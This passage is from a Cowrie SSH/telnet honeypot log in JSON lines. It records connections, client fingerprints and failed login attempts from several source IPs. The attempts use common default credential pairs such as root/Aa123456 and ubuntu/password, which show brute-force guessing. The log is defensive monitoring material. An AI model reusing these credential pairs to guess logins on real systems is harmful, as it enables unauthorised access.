{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:57.257987Z","src_ip":"198.98.56.227","session":"d78e48b9ae55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:57.265100Z","src_ip":"176.65.132.129","session":"0c09b5da6352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:57.504862Z","src_ip":"198.98.56.227","session":"d78e48b9ae55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.07790422439575,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:57.805656Z","src_ip":"38.60.198.128","session":"6bb18ad5cef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:58.349714Z","src_ip":"176.65.132.129","session":"0c09b5da6352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"admin123","message":"login attempt [kafka/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:58.386053Z","src_ip":"198.98.56.227","session":"d78e48b9ae55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:59.399631Z","src_ip":"198.98.56.227","session":"d78e48b9ae55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07d2c917dfb","protocol":"ssh","message":"New connection: 176.65.132.129:38424 (10.17.0.5:22) [session: f07d2c917dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.175719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.187964Z","src_ip":"176.65.132.129","session":"f07d2c917dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.79944086074829,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.193077Z","src_ip":"45.81.23.16","session":"4765673a9341","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.270936Z","src_ip":"176.65.132.129","session":"f07d2c917dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46080,"dst_ip":"159.203.135.109","dst_port":23,"session":"3128a367de54","protocol":"telnet","message":"New connection: 38.60.198.128:46080 (159.203.135.109:23) [session: 3128a367de54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.490457Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.519972Z","src_ip":"176.65.132.129","session":"f07d2c917dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.34086632728577,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:00.758907Z","src_ip":"38.60.198.128","session":"61574f2ca414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":56926,"dst_ip":"10.17.0.5","dst_port":22,"session":"60fea308235e","protocol":"ssh","message":"New connection: 95.215.8.165:56926 (10.17.0.5:22) [session: 60fea308235e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:01.478006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:01.518582Z","src_ip":"95.215.8.165","session":"60fea308235e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:01.625768Z","src_ip":"176.65.132.129","session":"f07d2c917dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.21897530555725,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:01.829313Z","src_ip":"38.60.198.128","session":"1346c6ff03d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38434,"dst_ip":"10.17.0.5","dst_port":22,"session":"98bb275a3f1e","protocol":"ssh","message":"New connection: 176.65.132.129:38434 (10.17.0.5:22) [session: 98bb275a3f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:03.585213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:03.590221Z","src_ip":"176.65.132.129","session":"98bb275a3f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:03.673614Z","src_ip":"176.65.132.129","session":"98bb275a3f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:03.988720Z","src_ip":"176.65.132.129","session":"98bb275a3f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:04.902450Z","src_ip":"95.215.8.165","session":"60fea308235e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:05.073343Z","src_ip":"176.65.132.129","session":"98bb275a3f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63546538352966,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:05.551482Z","src_ip":"38.60.198.128","session":"dda34c1930df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin234","message":"login attempt [root/admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:06.598182Z","src_ip":"95.215.8.165","session":"60fea308235e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"0575dd4ea36e","protocol":"ssh","message":"New connection: 176.65.132.129:48084 (10.17.0.5:22) [session: 0575dd4ea36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:07.052244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:07.056959Z","src_ip":"176.65.132.129","session":"0575dd4ea36e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:07.139314Z","src_ip":"176.65.132.129","session":"0575dd4ea36e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:07.387453Z","src_ip":"176.65.132.129","session":"0575dd4ea36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:07.690280Z","src_ip":"95.215.8.165","session":"60fea308235e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:08.473906Z","src_ip":"176.65.132.129","session":"0575dd4ea36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52518939971924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:10.364557Z","src_ip":"38.60.198.128","session":"224c3eca4418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48092,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a530f649134","protocol":"ssh","message":"New connection: 176.65.132.129:48092 (10.17.0.5:22) [session: 6a530f649134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:10.410815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:10.419383Z","src_ip":"176.65.132.129","session":"6a530f649134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:10.501436Z","src_ip":"176.65.132.129","session":"6a530f649134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:10.838833Z","src_ip":"176.65.132.129","session":"6a530f649134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:11.923730Z","src_ip":"176.65.132.129","session":"6a530f649134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48098,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5fa7efe163","protocol":"ssh","message":"New connection: 176.65.132.129:48098 (10.17.0.5:22) [session: fd5fa7efe163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:13.997908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:14.004490Z","src_ip":"176.65.132.129","session":"fd5fa7efe163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":45156,"dst_ip":"159.203.135.109","dst_port":23,"session":"236a295f5e7d","protocol":"telnet","message":"New connection: 192.211.53.160:45156 (159.203.135.109:23) [session: 236a295f5e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:14.051019Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:14.087044Z","src_ip":"176.65.132.129","session":"fd5fa7efe163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:14.334215Z","src_ip":"176.65.132.129","session":"fd5fa7efe163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:15.419912Z","src_ip":"176.65.132.129","session":"fd5fa7efe163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33954,"dst_ip":"10.17.0.5","dst_port":22,"session":"4737777912ca","protocol":"ssh","message":"New connection: 176.65.132.129:33954 (10.17.0.5:22) [session: 4737777912ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:17.289717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:17.295678Z","src_ip":"176.65.132.129","session":"4737777912ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 